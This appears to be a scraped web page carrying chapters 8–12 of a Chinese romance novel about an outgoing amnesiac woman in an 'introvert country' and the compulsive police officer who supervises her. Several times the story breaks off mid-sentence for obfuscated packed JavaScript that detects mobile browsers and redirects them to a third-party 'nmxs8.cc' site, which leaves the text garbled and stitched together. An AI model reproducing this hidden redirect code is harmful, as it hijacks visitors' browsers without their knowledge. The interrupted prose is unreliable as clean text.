RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326509|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这顿早餐穆冬吃的也很难受,身为一个有强迫症的人,看到她这身搭配实在难受,在沉默三分钟后,他还是忍不住开口,“你以后能换一身睡衣吗?” “啊?”默熠茫然,不知道自己这身睡衣哪里有问题,难道是那个?“我穿了内衣的啊,这点儿性别意识我还是有的。” “噗”喝牛奶的穆冬直接呛到了,“咳咳咳……”他拿纸擦着嘴,“我不是这个意思。” “我的意思是你没有一套的吗?不成套的看着有点儿……别扭。”穆冬用纸巾把桌子擦干净,他的脸依旧冷着好像刚刚什么都没发生。 “有是有,就是……好吧,我会换的。”默熠答应地有点儿勉强,她先吃完早餐,走的时候随意把椅子推回去,椅背没有和桌子平行,仔细看有一点儿歪。 “那个……椅子要这样对齐。”谁知穆冬很严肃地过来跟她演示了一遍。 “还有,你头发很乱。”穆冬只看了一眼,但就是这一眼让人浑身不舒服,“非常抱歉,我有强迫症。”像是知道自己的要求很无理,穆冬特意解释,还很不好意思。 “因为我还没梳。”默熠完全不敢有脾气。 然而穆冬的强迫症不止于此,之前默熠独自铲雪出了问题,所以穆冬不敢放她一个人除雪,只好站在她旁边监督。 但是默熠铲雪的手法可以用随心所欲来形容,她铲雪没有固定章法,铲到哪里算哪里,清理出来的空地是不规则的,虽说最后这块地还是会被清理完,但这个过程令穆冬很难受。 “你能不能铲整齐一点儿。” “我还能怎么样呢?”默熠完全没有脾气,只得乖乖铲整齐了。 “谢谢配合。”穆冬不好意思道。 默熠铲着雪,时不时要直起腰活动一下,昨天为了找旅馆在外面待得太久,吹了太多冷风,她自认为有点儿小感冒,“啊啊啊啊……”她鼻子痒痒的,像是要打喷嚏,但到最后也没打出喷嚏来。 这可给穆冬难受坏了,那种被中断的感觉太折磨一个强迫症了。 “你能不能打个喷嚏?”穆冬又提出了无理的要求。 “阿嚏。”默熠低着头铲雪,班味儿十足地回复他,这是一个极其绵软无力的喷嚏,达不到穆冬预想中的效果。 但是穆冬也没再让她重新打一个,不一会儿,低头铲雪的默熠听到了“阿嚏”的一声。 她抬头看了穆冬一眼,他仍一脸严肃,严肃到让人完全想不到他是一个会补“喷嚏”的人。 “就这么难受吗?还自己补一个。”默熠问。 “没有,你听错了。不要和我说话。”穆冬死不承认。 好吧,还挺傲娇。 9. 集体社死事件 “局长,早上好。”默熠铲着雪,见到局长路过,便开心地和他打招呼,然而局长不仅没回她话还绕道而行,唯恐避之不及。 “我感觉局长不太喜欢我。”默熠得出结论。 穆冬没有说话,何止是局长不太喜欢她。 又过了一会儿,泉氤从旁边路过,默熠也积极和她打招呼,不过对方没回。但这次她没有就此作罢,而是放下铁铲,过去找泉氤,想弄清楚原因。 穆冬暂停了计时器,时间卡在9分25秒上,不是整点,对他来说多少有点难受。 “你好,你好。”默熠叫住泉氤。 “有什么事吗?”泉氤回头道,脸上没什么表情。 “就是我刚刚在跟你打招呼,你为什么没有回我,是你心情不好吗?还是你不太想和我说话?” “都不是,准确来说我们内向国人没有打招呼的习惯,那边监督你的穆警官是我的表哥,但是我们也几乎不打招呼。” “真的吗?这个世界也太冷漠了。”默熠不敢置信。 “大家只是不喜欢社交,谈不上冷漠吧,有人就是不喜欢和人交流的。”泉氤疑惑道,“你的情况我也有听说过一点儿,你的言行举止完全是一个外向国人做派。” 外向国?默熠第一次听到这个名词。 “之前有警员怀疑过你是失踪的外向国游客,但比对了入境名单后,没有找到你的信息,所以你应该是土生土长的内向国人,再者就是偷渡过来的外向国人,不过这种情况可能性不大,除非是受虐狂。” 最后泉氤善意提醒道:“没事不要随便和人打招呼,即便是认识的人,这也不礼貌。” 外向国,默熠真的好想问穆冬和外向国有关的事,但想到不能和他主动说话,便一直憋在心里…… “三个半小时。”穆冬按下计时器,上午的社区服务算是结束,他做好记录转身就走。 默熠累的直不起腰,却还得再坚持一会儿把铁铲带回警局才算完。 难道就没有轻松点儿的社区服务吗?她浑身疲惫,还好警局附近新开业的面包店给了她一些慰藉,注册会员就能免费领取一份吐司面包。 她就在店外面嚼着面包思索着自己要做什么样的工作。 “你就这么干吃?不喝点水吗?”谁成想穆冬买完面包出来碰到了她。 “我没有水可以喝。” “警局里不是有免费热水吗?”穆冬问,“你不知道在哪儿?”可是她上次明明还用热水融化了雪,造成的事故害自己又多住半个月院的。 “上次……上次用热水把雪融化,结成冰害局长摔倒,他就不让我用热水了。”默熠咬着嘴唇,语气更委屈了。 好吧,这也不能完全怪局长。 “啊嚏。”默熠又打了一个喷嚏,外面的风很大。 “我现在要去食堂吃饭,你也去食堂吧,起码那里有暖气。”穆冬很无奈。 “好啊好啊。”默熠开心道,但强忍着笑容,尽管这让她很难受,憋笑的表情看上去也很奇怪,但因为穆冬说过不要她在他面前“嬉皮笑脸”。 食堂不大,只有她一个外人,她在警局内算小有名气,大家都认出了她,不少人窃窃私语。 有那么几秒,几乎所有人的目光都聚集到了她身上,如果是社恐,会感觉社死,但对于社牛来说,众人的关注反而是兴奋剂,她觉得自己挺受欢迎的。 穆冬在这个时候临时收到消息要处理一份文件,只能暂时离开,放她一个人在这里吃饭应该没什么问题吧?穆冬有片刻的犹豫,但又觉得她早上吃饭挺正常的,便决定相信她。 于是他简单交代了两句,“我有点儿事,你自己找个没人的位置。”他就怕她“祸害”别人。 “不用担心我。”默熠挥手和穆冬告别,她觉得穆警官挺贴心的,还担心她怕生,让她一个人坐。 简松也是一名警员,负责网络安全,不办公的时候他没有戴眼镜,和冷漠的气质浑然不同的是他的眼睛,标准的桃花眼,天生的多情,即便他的眼神有些冷,但依然让人觉得含情脉脉。 他端着餐盘犹豫了很久,终于下定决心要坐到泉氤对面。 但脚步还没迈出去,被人截胡了。 只见默熠先斩后奏地坐下去,再问泉氤:“我可以坐这里吗?” 泉氤点点头。 “太好了,谢谢,又和你见面了,真巧。”默熠高兴地笑着,笑容十分耀眼。食堂很安静,默熠正常的声音都被烘托地大声。 “不巧,这个点是饭点,我来食堂的概率高达90%,而且这里就这么大,你遇到我是高概率事件。”泉氤一本正经地解释,声音很轻。 “但是我来这里是很偶然的,所以我们还是很有缘分。”默熠也学泉氤把声音压低。 简松坐到她们旁边的餐桌,因为离得近,能把二人的对话听的一清二楚,他由衷地佩服默熠“搭讪”的能力。 默熠又自来熟地搭话,还问了泉氤的名字。 干吃吐司嘴巴里没味道,默熠又肚子空空,看到泉氤一直都没动旁边的一小份蔬菜沙拉,就直接地问她:“你是不是不太喜欢吃蔬菜沙拉?” “一般吧。”内向国人很少会直接表达喜恶,他们倾向于隐藏自己的情绪。 “如果你不吃的话可以给我吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326510|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默熠注意到沙拉是固定配菜,她看到不仅每个人都有,还有人将一点儿没动的沙拉倒掉。 “你拿去吧,这个汤我也没喝过。”泉氤将沙拉和汤的小碗给了她。 “谢谢,爱你。”默熠感谢道。 简松听到这里愣了一下,这两个字是可以这么轻易地说出来的? 泉氤受宠若惊,“不要随便说爱,钱印多了会通货膨胀,钱就不值钱,爱说多了也会变得廉价,我们内向国的爱是不会轻易说出口的,渣男除外。” 简松十分赞同这话,但表面上什么也看不出来。 免费沙拉很小一碗,只够在一片吐司上铺薄薄的一层。 默熠看到有不少人在起身前就把沙拉倒在餐盘里,将碗空出来好拿去放到回收餐具处。 既然他们也不吃,那我吃不是正好吗。 于是第一个“受害者”出现了,简松就在她旁边,是她光顾的第一个人,不过碍于《社交安全保护条例》,她没敢往别人脸上看,也不敢和别人搭话,只是在别人餐桌旁转悠,不停地念“沙拉,不要的沙拉”,看似没有和人说话,但也达到了单方面输出要求的目的。 她虽然没看到简松的脸,但可是看清了简松的沙拉一点儿没动过,默熠觉得自己很有机会,绕树三匝一样,在他旁边转悠了三趟。 简松习惯最后吃沙拉的,但听到默熠的“暗示”变得紧张,加之众人的目光都朝他这边投过来,尴尬的感觉瞬间占据了他的全身,令人窒息,据不完全统计,一个内向国人一生至少会经历9次社死。 此时此刻,他已无心上一次社死是在什么时候,只想送走这尊大神,低着头乖乖把沙拉奉上。 默熠踏出的第一步就得到了良好反馈,便充满信心地去征服更广大的不爱蔬菜沙拉人群。 于是一半来食堂吃饭的人或多或少得到了她的光顾,而剩下的一半人仓皇逃走,只是短短几分钟,食堂里几乎就没什么人了。 但是简松没有走,因为泉氤还没走,他怕留泉氤一个人在这里尴尬。 泉氤则完全没有这种感觉,她只是关心地问默熠:“有个问题可能会冒犯你的个人隐私,你可以不回答。” “你问吧,我没事的。”默熠将得到的蔬菜沙拉都夹到吐司上。 “你很缺钱吗?”泉氤问。 “在没找到工作前能省一点儿是一点儿。” “好吧,祝愿你早日找到工作,我先走了。” 默熠是最后一个用完餐的人,她走的时候给穆冬发了短信,那时穆冬才处理完文件,来到食堂。 但是他很纳闷儿,这个点儿食堂怎么一个人也没有? 10. 面试 在内向国上午和下午都有二十分钟咖啡时间,穆冬会在这个时间回去喝咖啡,默熠也可以趁此机会休息,不过她没有咖啡喝,也没有人愿意和她说话,她只能一个人坐在铲雪地点附近的长椅上,孤零零的。 “难得见到你垂头丧气的样子。”泉氤拿着一杯咖啡过来。 “给我的吗?谢谢。”默熠马上就又像被打了鸡血一样,将疲态一扫而光,不得不说,她笑起来非常有感染力,光是看着就让人觉得暖和。 “如果你不介意可以把烦心事跟我说说,也许我能给你一些建议。”泉氤的语气平静,但让默熠觉得很受鼓舞,她接过咖啡,热咖啡把手暖的很舒服。 “大家都绕着我走,你不讨厌我吗?”默熠能感到自己跟周围人的格格不入。 “其实对我来说,你这样的性格还挺亲切的,我外婆也是一个很外向的人。”泉氤不在意道。 “外向的人在这里不多见吧。”默熠喝了一口咖啡,真暖和啊。 “在这里,如果是我们这一代人,外向的确实不多见,但如果是我外婆那一代就不一定了,她那个时候,整个星球都还只有一个国家。”泉氤看她一脸惊讶的样子,猜到她应该已经全都忘了,耐心地跟她讲历史,“是在五十年前,这个世界才分成两个国家的。” “为什么?” “据说是因为外向的人和内向的人相互容不下对方,便提倡各过各的,不过我外婆不这么认为。” 信息量太大,默熠一时间消化不过来,“我得回去看看历史书,补一补。” 泉氤便给她推荐了相关书籍,她很感激,对她敞开心扉,告诉她自己正苦恼于找工作。 她准备找一份模特的工作,但不知道是哪里出了问题,投出去的简历都石沉大海,没有任何回复。 “真不是我自恋,我觉得以我的条件当一个平面模特绰绰有余。”在投递简历以前,她还自信满满,觉得抛来的橄榄枝多的能当柴烧。 “我难道不好看吗?”默熠问泉氤。 “有没有可能是你太好看了。”内向国人不习惯赞美和表扬,但泉氤说的话只是在陈述事实,默熠的脸足以让她成为焦点,“也就是说你太特别了。”内敛不爱外显的内向国人不太喜欢默熠这种外放的人。 “这竟然是模特公司不要我的原因?” “你要是长得在一千个人里找一千遍都找不出来,那比较符合模特公司的要求,但你太特别了,别说一千个人,就是在一万个人里,你也很显眼。太特别的人拍出来的广告一般人没有代入感,模特公司不喜欢。” 默熠点点头,真相竟然是这样,不过她愉快地接受了,因为这从侧面印证她真的长得很好看。 但工作还是要继续再找的,为了省钱,默熠连续几天都在风暴眼甜品店买临期面包。 这天她终于注意到了橱窗上的公告,尤其是最后一排字“面试者可得一份香橙小蛋糕”,这像是新加的福利,墨迹很新。她本来就要找工作,试试又不亏,打底还有一个小蛋糕,还是她最喜欢的口味儿,何乐而不为。 便兴冲冲地准备去面试,但是不想前面还有一个人在面试。 默熠忍不住打量自己的竞争对手,一个高高胖胖的女孩子,背着一个很小的包包,虽然个子很大,却没有什么攻击性,她的皮肤很白,脸颊被冻得通红,两只眼睛圆圆的,看上去温顺无害,而且她总低着头,不太自信,非常害羞。 “本来应该单独面试的,但是今天我时间有限,只能面试一个人,让你们白跑一趟我心里也过意不去,你们介意我一起面试吗?或者还是你们中有没有人想明天再来,我报销路费。”谭淳给他们说明情况。 “不介意不介意。”默熠摆摆手,她反正是来混保底蛋糕的。 另一个面试者蓝小星十分腼腆,她想明天再来,但是又不好意思说,只好也点了头。 “那好,请二位做一下自我介绍。”谭淳说,他看到默熠跃跃欲试的样子,便说:“那你先来吧,怎么样?” 默熠点点头,落落大方介绍起自己,“我的名字是默熠,默默无闻的默,熠熠发光的熠。我今年应该是24岁,至于为什么是应该,因为我具体也不知道我是哪一年出生的,我前段时间出了点儿意外,失忆了,所以不太清楚自己以前是什么样的……” “不好意思,我打断一下,个人隐私不用说的这么详细。”谭淳制止道,“你随便说下就行了。” “好的好的。”默熠立刻就调整了自我介绍的方向,说起自己的爱好,“我平时喜欢音乐,喜欢看剧。” “那你做和爱好有关的工作会不会更好?”谭淳问。 糟糕,忘记自己是来面试的了。“我……我其实也很喜欢烘焙,所以我是来应聘甜点师学徒的。”她赶紧给自己找补。 “那你对烘焙有什么了解吗?” “当然有。”默熠一副底气很足的样子。 “具体是哪方面的呢?会做甜点吗?”谭淳追问。 “会做一点儿,我个人更喜欢研究水果蛋糕和慕斯,而不是巧克力的。”默熠胡乱回答。 “为什么?” “因为……”总不能说是因为自己不喜欢吃巧克力的吧,“我觉得做巧克力的手法太简单了,没有挑战性。” “最后一个问题,你觉得你在哪些方面会更有优势呢?”谭淳又问。 “我觉得我……”默熠很喜欢自己活泼开朗、外向热情的一面,虽然内向国不太喜欢她这种性格的人,但为了面试,她得再胡说八道一下,于是从容又大方地回答道:“我的性格很好,我觉得我特别内向。” 现场的氛围忽然短暂地凝固了一下,接下来该蓝小星做自我介绍。 “我……我……我的名字是……”蓝小星腼腆极了,紧张地说不出话来,只好在备忘录上打字给谭淳看,而默熠再次展示出自己社牛的一面,自来熟地和谭淳一起看蓝小星的名字,还念出了声。 自己的名字被一个陌生人这么念出来,蓝小星更加紧张,她觉得自己快喘不过气。 “你是面试面包师还是甜点师?”谭淳见蓝小星状态不好,给她倒了一杯柠檬茶,“不要紧张,没关系的,你就当这里只有你一个人。” “面……面包师……”蓝小星低着头,声音很小。 “你会做面包吗?” 只见蓝小星快速地点头,她拿出自己的面点师证书。 “那接下来你们去后厨吧,做自己拿手的,做好了拿出来就行。” 蓝小星喜欢默默做事,这正是她的强项,来到后厨她明显不那么紧张,面包做得很熟练,和面、发酵、分成小剂子,手法干净利落。 默熠则是硬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326511|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头皮接下来的,心里暗自感叹面试真难,想拿免费的小蛋糕真不容易,她现学现卖,蓝小星怎么做,她就跟着学,但蓝小星毕竟烤的是面包,她要做的是甜点,还是有些不一样,只能再加点儿自己的想法。 她也很清楚自己的水平是什么样,不敢霍霍原材料,象征性地弄了一点儿,打算考两个小饼干。 蓝小星的面包率先出炉,海苔肉松面包,松软、香甜,一看就好吃。 要不是有《社交安全保护条例》,默熠很想夸一句。 她看起来对自己的面包也很满意,还拍了照留作纪念。 只是她内向到无法主动跟老板沟通,默熠看着她端起面包准备出去又退回来,如此重复好几次。 按照《社交安全保护条例》,默熠不该擅自跟她对话的,但是她实在看不下去。 于是拿出一个没拆开的口罩放在桌上,用便签写道:“有需要者自取”,口罩能帮人躲避社交,也能让人更容易接受社交。 蓝小星十分感激,她想要感谢对方,但又怕给对方造成社交困难,虽然对方看上去并没有这方面的困难。 她没有先发出对话申请再致谢,而是从包包里拿出自己在家做的面包,这是她准备面试的时候展示的,但始终没能拿出来。她也拿出便签,学着默熠的样子写道:“有好奇者自取”。 那是一个芋泥面包,烤的松软香甜,默熠的评价很高,她一直在夸,“好好吃,做出这个面包的人是天才……” 这些话听得蓝小星脸红,但给了她很大鼓舞,她一鼓作气端起面包往外走去,在门把手被拧开的一瞬间又像是触发了什么奇怪的机制,退缩回来。 就在她一筹莫展之际,默熠不由分说地端起面包走出去替她交给了老板。 谭淳在外面,只见默熠端着一盘卖相极好的海苔肉松面包出来,眼底露出惊喜之色,他觉得自己小瞧了她,没想到她还有这手艺。 “这是星星姐做的。”默熠已经自来熟地叫上昵称了,“但是她有点儿害羞,所以让我帮她拿过来。” 好吧,白高兴一场。 谭淳也拿了一个小叉子给默熠,“你也尝尝?” 海苔肉松面包做的一点儿也不油腻,咸甜适中,比例掌握的很好,面包也够软,总结起来就两个字,“好吃”,默熠大赞道,“老板,这么好吃的面包,手艺这么好的面包师你确定不心动吗?” “心动,确实心动。”谭淳笑道。 “那你呢?你做的甜点呢?”谭淳问。 这话让默熠张扬的气势一下就弱下去了,她低下头,支支吾吾道:“还……还没烤好……” “这么久还没烤好,你别烤糊了。” 蓝小星一个人在后厨里焦急等待,他很纠结,既怕被选上,又怕选不上,不过有一点可以肯定,他很感谢默熠,他感谢她替自己做的选择正是他想要却没有勇气实践的。 他看到二人一起走进后厨,默熠一进来就笑着通知他,“老板决定聘用你,恭喜恭喜。” “你这个烤糊了啊。”谭淳看到烤箱里的两个饼干,赶紧给她关了。 当谭淳戴好手套,拿出烤盘时,那两块饼干不仅像碳一样焦黑,而且中心还被烧得火红火红,如红色熔岩,令人叹为观止。 “这就是我要的效果,熔岩小饼干。”默熠信念感极强…… 11. 邻居 但很神奇的是,她竟然也被选上了。 “老板,你确定我也可以?”他敢聘用她,她都不敢来上班。 谭淳点点头。 “你要不要再考虑考虑?我……我怕把你的店搞砸了……”自己几斤几两默熠心里掂得清楚。 “你要真有这本事,我倒是很想见一见。”谭淳笑道,他倒是很看得开。 …… 托默熠的福,穆冬有一天也能有被投诉的机会。 这天下班穆冬收到局长的消息,“小穆,这几天我收到了很多投诉邮件。” 投诉邮件?是投诉自己的吗?穆冬皱眉,顺手关掉了灶台上的火,还真是新奇的体验。 “是投诉默熠的,但跟你有关。” “前几天你带她去食堂吃饭的事儿还记得吗?” …… 局长将事情的经过给他说了一遍,仅仅是文字描述,穆冬就已经有身临其境的“社死感”,她可真会来事,只是吃个饭居然能造成集体社死事件,自己还是太低估社牛的能耐,对社牛的“恐怖”缺乏想象力。 而且她还钻了《社交安全保护条例》的空子,也不好处罚。 “所以她以后就不能在警局这边铲雪了,考虑到你工作的便利性,让她去你社区铲雪,你有意见的话还可以商量。” “我没有意见,很抱歉给大家添麻烦了。”穆冬结束对话,重新打开火,盘上的肉被烤得“滋滋”作响,正如他不平静的内心,他明天怎么去上班,怪不得这几天总觉得同事看自己的眼神怪怪的,一想到自己是这件事的“推手”,他就“社死”。 “热恋的夏天,日和夜没有分界线,灿烂的极昼将六十个日夜连成同一天,爱像太阳从不落下地平线……”默熠高兴地唱着歌,这是电视剧《热恋之夏》的主题曲,她很喜欢这首歌轻快的节奏,很符合她找到工作后的愉悦心情。 她已经把这个好消息分享给了泉氤,接下来要分享给穆警官。 然而默熠才进门就看到穆警官面露难色,然后他面对面给自己发了短信,“从明天开始你就在这个社区铲雪。” “收到。”默熠没有问为什么,这个变动的地点在她可接受范围内。 “穆警官,你看上去不太好。”虽然面对面发消息很奇怪,但穆冬看上去不想说话,她也只能用这种方式交流。 “我没给你发消息的时候,不要主动和我发消息。”谁想穆冬连这种方式都拒绝了。 本来觉得面对面发消息已经够奇怪了,现在面对面还不让发消息更奇怪。 穆冬对她避之不及,急匆匆吃完晚饭就不见踪影。 默熠什么也不敢说,只是默默将蛋糕分好,放到冰箱里,再在冰箱外面贴上两张便利贴。 一张写的是“我找到工作了,谢谢穆警官的帮助,请你吃蛋糕,你打开冰箱就能看到,还有一份是给泉氤的,麻烦你帮我带给她吧”。 另一张写的是“虽然我找到工作了,但是还没有找到合适的房子,能不能再宽限我住一段时间,我不会赖在这里不走的。” 第二天默熠看到穆冬用了另一张便利贴回复她:“谢谢,我不喜欢吃蛋糕,泉氤那份我带给她了,另外以后铲雪的地点是现在住的这个社区。房子的事,还是跟当时说的那样,最多一个月。” …… 之前都是铲的大街,今天第一次给居民家门前铲雪,默熠还有些兴奋。 “这个冰好漂亮啊,亮晶晶的。”默熠自言自语道,她仰望一户人家屋檐下挂着的冰溜子。 穆冬顺着她的视线看了一眼,默默让她走开,严肃道:“你现在看它漂亮,很危险的,它要是掉下来,车停在下面,都能被砸得凹下去一个大窟窿,要是砸到你身上,明年你的坟头草能长一米高。” 闻言默熠不禁噤声,后怕地缩了缩脖子,但又实在好奇,问道:“你怎么知道得这么清楚?” “因为我的车被砸到过。”穆冬冷着脸回答。 他跟这家人进行了沟通,让他们暂时先不要出来,他把屋檐上的冰溜子先给清理掉。 默熠在旁边看着,冰溜子坠地的声音不如想象中的脆,而是浑然一块、掷地有声,砸在地上声响如同闷雷,简直不敢想象这要砸在人身上……她不自觉打了个哆嗦。 铲完这户人家前院的雪就花了不少时间,而晚上七点夜色就很深,不适合在外面久待,因此默熠想清理穆冬家邻居的雪,方便铲完就收工回去。 社区服务是需要征得社区居民同意的,很不巧的是,左边的邻居江太太是个非常社恐的人,她不喜欢任何陌生人来她的前院儿,而右边的邻居是个勤劳的人,每天都会把雪铲干净。 不过比这种不巧更巧的是照顾过默熠的护士江雪是江太太的女儿,这一点是在默熠收工回去的时候才发现的,她看到江雪在院子里铲雪。 “小雪、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326512|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小雪……”默熠还记着泉氤的提醒,她这次可不是漫无目的地打招呼,她有话要说的。 江雪听到有熟悉的声音,但没想到自己能在这里见到她。 “好久不见了,我现在暂时住在这里,真巧,我们是邻居。” “嗯。”一段时间没见,江雪和她的对话也变得困难,她并不是讨厌默熠,只是她不知道该说什么。 “简主任还好吗?”默熠问,上次让简主任社死并非出于她的本意,她其实挺担心简主任的,但是又不敢去问他,怕他有应激反应。 “他最近都戴着口罩,大家不能一下就认出他,他的社交压力小了很多。你不用担心,这种事时间一长就好了,就如民间流传的那句谚语‘时间会冲淡一切社死’。”江雪向她解释。 “小雪。”这次叫小雪的是一个略显单薄的女声,一个中年妇女,江太太个子不高,拄着一根拐杖,干瘦干瘦的。她眼角有很多细纹,带着一副黑框眼镜,头发被盘在后脑勺,不能盘起来的碎发用夹子管住,没有一根头发是不规矩的。“回家了。”她说,就几个字也气短咳嗽,听起来身体不大好。 “好的,妈妈。”江雪匆匆道别。 默熠则觉得江太太看自己的那一眼里有深深的抗拒和警惕,想要将自己隔开一样。 “你刚刚在跟谁说话?”江太太关上门问,门是向内开的,她拒绝一切外向的东西,哪怕是门。 “一个……”江雪纠结给默熠的称呼,她们没有好友证,不是正式朋友,“一个认识的人,她现在住在隔壁,她以前是我的病人,之前我跟您提到过的。” “什么!你说那个社牛患者。”江太太咳嗽着,情绪激动。 “我不许……我不许你跟她来往……”她厉声道。 江雪不敢顶撞母亲,但心里有异议,她不觉得默熠是个危险人物,便沉默着,既不反驳也没有赞同。 屋子里的摆设非黑即白,看不见一点儿彩色,可明明是私人领域,却还要保持“不出众”的装修风格,难免压抑,如果有人来家里拜访,大概会误以为自己在黑白照片的世界里。 江雪只能将心里的无助倾泻到日记里,事实上她并没有那么文静,她有一颗摇滚的心,她的日记第一页画着一个红色的电吉他,这把电吉他被存在储物馆里。 而江太太一回到卧室就开始写投诉信,危险,太危险了,她决不允许女儿身边有这种危险人物…… 12. 电视剧 难得休假,默熠铲了一整天雪,累得精疲力尽,但还是坚持在厨房忙活了一阵子,把蛋挞和面包送进烤箱后,才看点儿电视消遣。 在医院的时候没看完《热恋之夏》,她一直惦记着,便又开始看。 “你真让我恶心。”电视剧里女主亲眼目睹男主和女二关系亲密,觉得自己遭到了背叛。 但男主抓着女主的肩膀,态度强硬道:“你看着我,至少看着我的眼睛一分钟,我不信你不爱我。” 穆冬在客厅不可避免地看到了这一幕,给他造成了巨大的冲击。他第一次见这种情节,不禁感叹这示爱太大胆,在内向国注视对方的眼睛超过七秒就是喜欢的意思,这一分钟也太久了。 女主给了男主一巴掌,还放了狠话,“你别碰我,我不想听你说话,我再也不想看到你和那个女人,从今以后我们什么关系都没有。”女主一把甩开男主的手臂,女主认定男主是个渣男,根本不想听渣男多说一句话。 男主选择抱住女主,不让女主走,并和女主解释误会,即便女主一直说不想听。 这什么电视剧啊,编剧怎么能这么写,这不是误导人吗?对方明确说出不要肢体接触,也拒绝对方向自己说话,按照法律要尊重当事人的意愿,否则当事人可以提起申诉。穆冬极力克制住自己的气愤。 然而电视剧的走向却离《社交安全保护条例》越来越远,男主不仅没放开女主,还把女主明确表示不想见面的女二也叫过来,两个人一起在女主面前强行解释…… 穆冬彻底忍不住,恨不得冲到屏幕里去执法,“这什么电视剧啊,没有警察吗?这样女主都不报警吗?” “热恋之夏。”默熠回复剧名。 穆冬一听这个名字就觉得不对,内向国的电视剧名字一般都起的比较含蓄,例如《冬季心事》《一个人的自白》。 “能退出去我看一下剧目信息吗?”穆冬很有礼貌地问。 这一查才发现,这是一部二十年前引进的外向国剧。 “你难道一直都是看的外向国的电视剧?”穆冬好像知道默熠为什么会做出那么多不合常规的事了。 “好像是诶,我都没发现。”默熠后知后觉,她就说为什么现实和电视剧一点儿都不一样,还以为是艺术高于生活,感情是别国的艺术,国与国之间的艺术并不相通。 “以后多看看国产剧吧。”穆冬真心建议。 不过他已经看了一点儿,强迫症一上来,只能忍着难受把这部剧看完。 默熠看的也很难受,她不喜欢男主,“男主一点儿也比不上男二,男二比男主帅太多了,是我就选男二。” 穆冬冷着脸点了点头表示赞同。 “我们换个剧吧。”默熠拿起遥控器。 “我有点强迫症,至少让我看完结局。”穆冬拿过遥控器,一直快放到大结局。 默熠选择了一部最近热映的古偶。 故事一开头女主全家就下了狱,她去求男主查清此案。 她隔着一米远的地方跪下,拿出早就写好的字条,“青天大老爷,我苦啊。” 这不就是外向国那部剧的翻版吗?默熠觉得有些艺术还是相通的。 喝水的穆冬看到“青天大老爷”这几个字,立刻起了应激反应,当即被呛住,医院社死的回忆在他脑海里循环播放。 “你还好吗?穆警官。”默熠担心道。 穆冬摆了摆手,“没事,没事,一辈子很短的。”他在心里安慰自己。 “换一部吧。”穆冬商量道。 求得默熠同意后,他选定了一部看起来比较内敛的剧《信笺柔情》,也是部古偶。 荧幕中女主因为争执拒绝和男主对话,男主只好提笔写下一封长信,细数和女主的共同经历,极力解释误会…… 然而意外发生了,男主的信被反派劫走了,反派还假借男主的笔记伪造了一封新的信笺,加深了男女主之间的误会。 “啊啊啊啊……”默熠比剧中收到信的女主还要激动,她恨不得冲进荧幕替男主解释清楚,“所以有什么话不能当面说呢。” “淡定,淡定。”穆冬却不以为意,“电视剧里男女主有误会是正常的。” “有误会是正常,但有嘴不说不正常。”默熠完全无法理解,“这还不如《热恋之夏》的男主呢,起码那个男主有误会就马上找女主解释清楚了。” “如果女主不想听解释的话,男主是没有资格强行对话的,这是违法的。”穆冬无法赞同《热恋之夏》里男主的行为,在内向国拒绝社交的权利不可侵犯,澄清误会要让位于个人边界。 “可是如果女主一直不愿意听解释的话,误会就永远没法澄清。”默熠说,虽然《社交安全保护条例》保护了个人边界,但在某种程度上阻碍了人们之间的交流,让人和人之间更加闭塞,隔阂越来越多。 因为二人看重的东西不一样,他们谁也没有办法说服谁。 “叮咚……”门铃在这时响起,打断了二人的争论。 默熠从可视屏里看到来的是一对母子,女人是长发,戴着口罩和墨镜,看不出是谁,小孩儿的打扮亦是如此。 穆冬说了一句“是我姐姐”,就打开了门。 从之前约定的时间来看,姐姐提前了几天。 穆璇一进门看到的第一个人不是穆冬,而是默熠,即便默熠站的很远,但是她实在漂亮得耀眼,瞩目得让人挪不开眼睛。 陆北寻见到生人则有些怕,他躲到母亲身后,像初来乍到的小猫。 考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 